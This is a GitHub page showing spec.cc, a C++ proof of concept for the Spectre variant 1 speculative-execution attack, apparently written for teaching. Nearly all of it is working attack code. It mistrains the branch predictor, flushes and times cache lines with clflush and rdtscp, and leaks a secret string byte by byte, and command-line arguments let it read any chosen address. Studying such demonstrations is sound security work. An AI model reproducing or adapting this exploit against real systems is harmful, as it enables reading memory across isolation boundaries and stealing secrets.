-
Notifications
You must be signed in to change notification settings - Fork 1
/
spec.cc
136 lines (114 loc) · 4.31 KB
/
spec.cc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#include "array_seq.h"
#include <array>
#include <cstring>
#include <cstdint>
#include <cstdio>
#include <cstdlib>
#ifdef _MSC_VER
#include <intrin.h> // for rdtscp and clflush
#pragma optimize("gt", on)
#else
#include <x86intrin.h> // for rdtscp and clflush
#endif
using namespace std;
//--------------------------------------------------------------------
// Victim code
//--------------------------------------------------------------------
const char* secret = "Monte Otter lives at 100 Campus Ctr.";
unsigned int array1_size = 16;
const uint8_t unused_size = 64;
auto unused2 = array<uint8_t, unused_size>{};
auto unused1 = array<uint8_t, unused_size>{};
auto array2 = array<uint8_t, 256 * 512>{};
auto array1 = range<uint8_t, 160, 16, 1>;
uint8_t temp = 0; // Used so compiler won’t optimize out victim_function()
void victim_function(size_t x) {
if (x < array1_size) {
temp &= array2[array1[x] * 512];
}
}
//--------------------------------------------------------------------
// Analysis code
//--------------------------------------------------------------------
const unsigned int CACHE_HIT_THRESHOLD = 80; // assume cache hit if time <= threshold
// Report best guess in value[0] and runner-up in value[1]
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2], void (*victim)(size_t)) {
static int results[256];
int tries = 999, i, j, k, mix_i, junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t* addr;
for (auto& x : results) { x = 0; }
while(--tries > 0) {
// Flush array2[256*(0..255)] from cache
for (i = 0; i < 256; i++) {
_mm_clflush(&array2[i * 512]); // intrinsic for clflush instruction
}
// 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x)
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
_mm_clflush(&array1_size);
for (volatile int z = 0; z < 100; z++) {} // Delay (can also mfence)
// Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0
// Avoid jumps in case those tip off the branch predictor
x = ((j % 6) - 1) & ~0xFFFF; // Set x=FFF.FF0000 if j%6==0, else x=0
x = (x | (x >> 16)); // Set x=-1 if j&6=0, else x=0
x = training_x ^ (x & (malicious_x ^ training_x));
// Call the victim!
victim(x);
}
// Time reads. Order is lightly mixed up to prevent stride prediction
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = &array2[mix_i * 512];
time1 = __rdtscp((unsigned int*)&junk); // READ TIMER
junk = *addr; // MEMORY ACCESS TO TIME
time2 = __rdtscp((unsigned int*)&junk) - time1; // READ TIMER & COMPUTE ELAPSED TIME
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size]) {
results[mix_i]++; // cache hit - add +1 to score for this value
}
}
// Locate highest & second-highest results results tallies in j/k
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0)) {
break; // Clear success if best is > 2*runner-up + 5 or 2/0)
}
}
results[0] ^= junk; // use junk so code above won’t get optimized out
value[0] = (uint8_t)j;
score[0] = results[j];
value[1] = (uint8_t)k;
score[1] = results[k];
}
int main(int argc, const char** argv) {
// Create an offset to the 'secret' based on publicly available information
size_t malicious_x = (size_t)(secret - (char*)array1.data()); // default for malicious_x
int score[2], len = strlen(secret);
uint8_t value[2];
array2.fill(1); // write to array2 so in RAM not copy-on-write zero pages
if (argc == 3) {
sscanf(argv[1], "%p", (void**)(&malicious_x));
malicious_x -= (size_t)array1.data(); // Convert input value into a pointer
sscanf(argv[2], "%d", &len);
}
printf("Reading %d bytes:\n", len);
while (--len >= 0) {
printf("Reading at malicious_x = %p... ", (void*)malicious_x);
readMemoryByte(malicious_x++, value, score, &victim_function);
printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
printf("0x%02X=’%c’ score=%d ", value[0], (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
if (score[1] > 0) {
printf("(second best: 0x%02X score=%d)", value[1], score[1]);
}
printf("\n");
}
return 0;
}